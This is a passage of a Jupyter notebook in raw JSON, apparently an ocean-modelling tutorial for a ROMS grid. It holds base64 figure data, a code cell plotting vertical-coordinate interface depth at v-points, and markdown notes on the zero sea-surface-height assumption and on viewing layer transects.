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", "text/plain": [ "<Figure size 1300x700 with 2 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "grid.plot_vertical_coordinate(\n", " \"interface_depth_v\", s=-1\n", ") # depth of the uppermost interface at v-points" ] }, { "cell_type": "markdown", "id": "f6e4e40a-195d-42a4-b4ae-261d0f1297eb", "metadata": {}, "source": [ "<div class=\"alert alert-info\">\n", "\n", "Note\n", "\n", "The same assumption of zero sea surface height also goes into the creation of the initial conditions and the boundary forcing, for which we will use the `Grid` object from this notebook. Note, however, that during runtime ROMS will dynamically adjust the vertical coordinate to account for varying sea surface height.\n", "\n", "</div>" ] }, { "cell_type": "markdown", "id": "4d8be820-1a8b-47e9-b7ad-8244b47a2b49", "metadata": {}, "source": [ "We are now interested in a vertical view of our layers. We can look at a transect by slicing through the `eta` or `xi` dimensions." ] }, { "cell_type": "code", "execution_count": 26, "id": "13c83aa6-3d43-443d-a7d4-767b54484e75", "metadata": { "tags": [] }, "outputs": [ { "data": { "image/png": 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P9fX12LZtm/F3dXU1AFLdyr3n9PT0YMWKFfu0HRs2DmXYCYQNGzYmjAcffBCzZs3CP//5Tws16Ic//GHesmVlZTjrrLNwzz334POf/zxef/31PEFyS0sLPvjgA5xyyikFnYr2FY2NjQBIdcE8mzkwMJA3Q9vS0oJIJIJTTz11QuvesWNH3mvbt2+3CHencl/MePDBB3HSSSfhT3/6k+X10dFRlJeXT/v2S6GxsdESlOnYunWr8T4A3H777ZbvoKamxrL8eMdXX0+xbZWXl0+J/ex4x3DVqlVYtWoVfvrTn+Lee+/F5z//efzjH//AV77ylQlvIxgMwu12Q5blcc+/YuPZuHEjtm/fjrvvvhuXXnqp8fpzzz034XFMJRobG/H8888jHA5bqhC550Ex3Hbbbbj55psntJ19bfK3e/duS/Kh99V49913LclCd3c39u7diyuuuGKftmPDxqEMWwNhw4aNCUOfgTTP1L799tt48803Cy5/ySWXYMuWLbj++uvBMAwuuugiy/uf+cxn0NXVhTvvvDPvs/F4HNFodJ/Geeqpp4LjOPz2t7+1jDU3gdHH8Oabb+KZZ57Je290dDSvE+3DDz+Mrq4u4++1a9fi7bffxurVq43X9AB2dHR0n8ZfDAzD5M2SP/DAA5bxTOf2S+HMM8/E2rVrLedCNBrFHXfcgaamJkO7smzZMpx66qnGT66mZbzjW11djSVLluDuu++27N+mTZvw7LPP4swzz5yS/Sl2DEdGRvK+Az0ALUSBKQWGYXDBBRfgoYceKmhVOzAwMO54Cl2TqqriN7/5zaTGMlU488wzIcsy/ud//sfy+q9+9StQFGW5TgphKjUQ5uOn48knn8R7772HT3ziE8ZrCxcuxLx583DHHXdYaIF/+MMfQFEUPv3pT4+7LRs2Pm6wKxA2bNiw4K677irYX+Fb3/oWzj77bPzzn//E+eefj7POOgttbW344x//iAULFhSkHZx11lkIBAJ44IEHsHr1alRUVFjev+SSS3D//ffj3/7t37BmzRocc8wxkGUZW7duxf33349nnnlm3AZQhaD7099yyy04++yzceaZZ+L999/HU089ZZmpB4Drr78ejz76KM4++2zDyjMajWLjxo148MEH0d7ebvlMa2srjj32WFx55ZVIJpP49a9/jUAgYKFALVu2DABw9dVX44wzziiYPO0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